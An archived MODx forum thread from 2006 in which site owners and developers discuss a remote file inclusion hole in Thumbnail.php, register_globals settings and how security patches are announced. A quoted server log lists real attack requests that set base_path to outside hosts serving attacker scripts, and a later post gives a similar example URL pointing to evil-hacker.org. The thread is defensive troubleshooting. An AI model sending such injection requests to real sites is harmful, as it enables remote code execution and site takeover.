We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
  • Quote from: jesster444 at Nov 09, 2006, 03:40 PM

    "php_flag register_globals off"

    Will this suffice? phpinfo() is reporting that it is off at the local level and on at the master level. If this works, it seems like a pretty easy fix to have everyone do anytime they freshly install MODx.
    That’s indeed why it was added as a commented line to the new default ht.access in 0.9.5. It was actually added before this exploit was ever reported.
      • 14050
      • 788 Posts
      Will it cause some error if it is set and not allowed? If it doesn’t, why comment it out?
        Jesse R.
        Consider trying something new and extraordinary.
        Illinois Wine

        Have you considered donating to MODx lately?
        Donate now. Every contribution helps.
      • Yes it can cause errors. You’ll notice those upon visiting the site immediately (I think Apache type 500 server errors). Hence it’s commented out by default.
          Ryan Thrash, MODX Co-Founder
          Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
        • Quote from: jesster444 at Nov 09, 2006, 03:53 PM

          Will it cause some error if it is set and not allowed? If it doesn’t, why comment it out?
          Yep, 500 Internal Error if the config does not allow php_flag directives in .htaccess.
            • 8363
            • 28 Posts
            OK, so once again I will offer a humble apology to anyone offended by my vitriol. It was . . . shall we say . . . way over the top?!?!

            I was very frustrated to have this happen twice in such a short span and the fact that it only happened to sites with ModX installed (I have other cms’s installed as well on other domains,) well, it really ticked me off, I’m sorry for my insensitive comments. And, for those reading (or having read my earlier comment) with the raised eyebrow one might employ while listening to a crazed lunatic, I realize I should have checked the globals situation.

            OK, now I’d like to respond to some of the questions and suggestions raised by others:

            Quote from: rthrash at Nov 09, 2006, 03:40 AM

            eagleshout,

            I’m sorry that your sites were compromised. I’ll personally take full responsibility for including the code from an outside source without a full audit ...

            How should we have handled it to your satisfaction? Security is of critical importance to this project and clearly we are equally as concerned as you are about notification?

            I’m confused. eagleshout, clearly you’re upset and lashing out.

            @rthrash: THANK YOU for taking responsibility. I realize it wasn’t your fault or anyone in particular
            at ModX, but just hearing that an audit of outside code might have prevented this is refreshing. I’ve had some concerns from the beginning regarding this policy and have raised a few questions about stuff in the respository that is, more or less, "branded" as a ModX worthy module. I’m not sure what the current procedure is for third party code, but maybe the dev team would consider a more stringent submission procedure. And, since one of my peeves is documentation, maybe a stricter policy could be part of the criteria for repository submissions.


            Quote from: sottwell at Nov 09, 2006, 04:53 AM

            However, it might be a good idea to prominently offer the link for subscribing to the security mailing list on the main download pages, both for the current "stable" release and the beta and preview page. A lot of people will just go there without ever reading forums or anything else.

            As for the communication of this particular situation I would have welcomed an email that such a "critical" measure was released. Especially since my first exploit happened Nov. 7 - not long after most of the chatter in this topic.

            I’m not a forum lurker. Typically, I only visit the forums when I need to or if I’m notified that a watched topic has been updated. AS USUAL, @sotwell offered sound advice here, but I might add that something as critical as this might have warranted an email blast to all active forum members. I don’t know maybe that’s overkill. But certainly I will be subscribing to the security list from now on.

            Quote from: identity at Nov 09, 2006, 04:24 AM

            XSS, form injection, mysql injection, unfortunately, this is the world we are now living in. Even a straight html/cgi form is open to exploits.

            Yeah, even my host recommended I use their standard script instead of the one exploited - better the devil you know than the one you don’t.

            Quote from: vbrilon at Nov 09, 2006, 05:29 AM

            Wow. I don’t even know what to say. I am going to assume that emotion got the better of you and you let loose in our direction. Otherwise, if you really talk like that in your every day life, well I am going to assume that perhaps your future lies in....let’s say....less professional fields.

            Are you implying that the MODx admin deliberately hid this information from people? Sorry, your random capitalization throws my context parsing out of whack. Not sure where you’re going with that anyway....

            No, I wasn’t implying the thread move(s) were intentional, but it was on the move while I was trying to post and as stated earlier, the "documentation conundrum" has been a peeve of mine for many months. I’m glad the wiki is finally in place.

            Anyway, thanks to those who had the discrimination to disregard my raging testosterone while extending your wisdom.
            • Thanks eagleshout. laugh
                Ryan Thrash, MODX Co-Founder
                Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
                • 21953
                • 34 Posts
                After my client was hacked I deleted the entire contents of the site and installed 0.9.2.2 I also have also set register_globals off for the clients domain. This was all done on 7-Nov. So imagine my surprise when when yesterday I received this from my hosting provider
                Dear Customer,

                Your script hosted at [domain.name.hidden] are highly vulnerable and allowed hackers to upload their malicious content and execute it.
                Kindly correct/update your scripts as soon as possible. The webserver logs are attached herewith.
                The script responsible for the issue(Thumbnail.php) has been disabled for now. Please dont enable it again unless you are sure the issue has been corrected.
                They attached a portion of the logs (dated 10-Nov) to support the abuse claim. Here’s a few lines:
                82.75.139.224 - - [10/Nov/2006:11:30:07 -0500] "GET /manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.dkarns.com/tCustom/install? HTTP/1.1" 200 298 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8"
                201.27.109.141 - - [10/Nov/2006:12:14:45 -0500] "GET /manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.psychicchronicles.co.uk/forum/chat//inc/cmses/sh.txt? HTTP/1.1" 200 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
                85.96.134.106 - - [10/Nov/2006:14:40:27 -0500] "GET /manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://free-ftp.org/suceveanul/sep3.txt? HTTP/1.1" 200 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
                83.137.17.37 - - [10/Nov/2006:16:19:26 -0500] "GET //manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.cyclechem.com/list.txt?? HTTP/1.1" 200 978 "-" "libwww-perl/5.79"
                83.137.17.37 - - [10/Nov/2006:16:19:30 -0500] "GET /2004_shows.htm/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.cyclechem.com/list.txt?? HTTP/1.1" 200 11736 "-" "libwww-perl/5.79"
                The rest of the log shows almost identical entries - all attempting to re-assign the value of base_path. My understanding is that having register_globals off or running 0.9.2.2 would prevent Thumbnail.php being abused in this way.

                phpinfo() confirms register_globals is set to off. However the hosting provider has set the ownership of Thumbnail.php root and set privaleges to 000, so I am unable to access it even to verify what its content is. I requested their help in getting this info, but over 12 hours later, still no reply.

                So my question is: How can i verify whether the information shown in the log represents successful abuse, or whether the entries show both unsuccessful and successful attempts, and how can we identify which is which?
                • You’d know by now if it was a successful attempt - the logs will show attempted attacks, both unsuccessful and successful - so they’re never going to give the level of detail you’re looking for.

                  You could always try directing your host to look at the Security board of the MODx forum to see the official announcements of the security patch - or indeed the Secunia update here: http://secunia.com/advisories/22675/
                    Garry Nutting
                    Senior Developer
                    MODX, LLC

                    Email: [email protected]
                    Twitter: @garryn
                    Web: modx.com
                    • 21953
                    • 34 Posts
                    OK, I’m now in battle mode with my host provider. I received this information from them:
                    We have already sent log to you which clearly indicates that attack was sucessfully performoed (all logs returned httpd code 200 which means that script was executed sucessfully).
                    you can raise this issue with your software developers that instead of taking all securiry measures, scripts is still vulnerable.
                    If you need any assistance from our end, do let us know and we will be happy to assist you.
                    I’m am not particularly knowledgeable about httpd codes, but I understood 200 simply meant that requested document has been returned. It doesn’t imply that injecting a variable had any effect on the outcome of executing the script. A search through Thumbnail.php reveals that [tt]base_path[/tt] is no longer used so surely it really doesn’t matter what a hacker assigns to it. It just isn’t relevant. Please correct me if I’m wrong. I need ammunition to shoot at my provider.

                    Wouldn’t this return a code of 200 in most circumstances?:
                    almost_any_script.php?some_value=http://evil-hacker.org/nasty_folder/evil.txt

                      • 22815
                      • 1,097 Posts
                      I believe you are correct, and I don’t understand the provider’s logic. The script’s successful execution has nothing to do with the attack’s success - the script simply ignores the base_path in the URL.

                      If it really "allowed hackers to upload their malicious content and execute it", there would have to be proof that
                      a) a file was uploaded
                      b) a file was executed

                      This is not such proof.

                      I guess it would be possible for "all security measures" to mean "this script should redirect to a 404 if there’s anything dodgy in the querystring", but that’s just not how it works.
                        No, I don't know what OpenGeek's saying half the time either.
                        MODx Documentation: The Wiki | My Wiki contributions | Main MODx Documentation
                        Forum: Where to post threads about add-ons | Forum Rules
                        Like MODx? donate (and/or share your resources)
                        Like me? See my Amazon wishlist
                        MODx "Most Promising CMS" - so appropriate!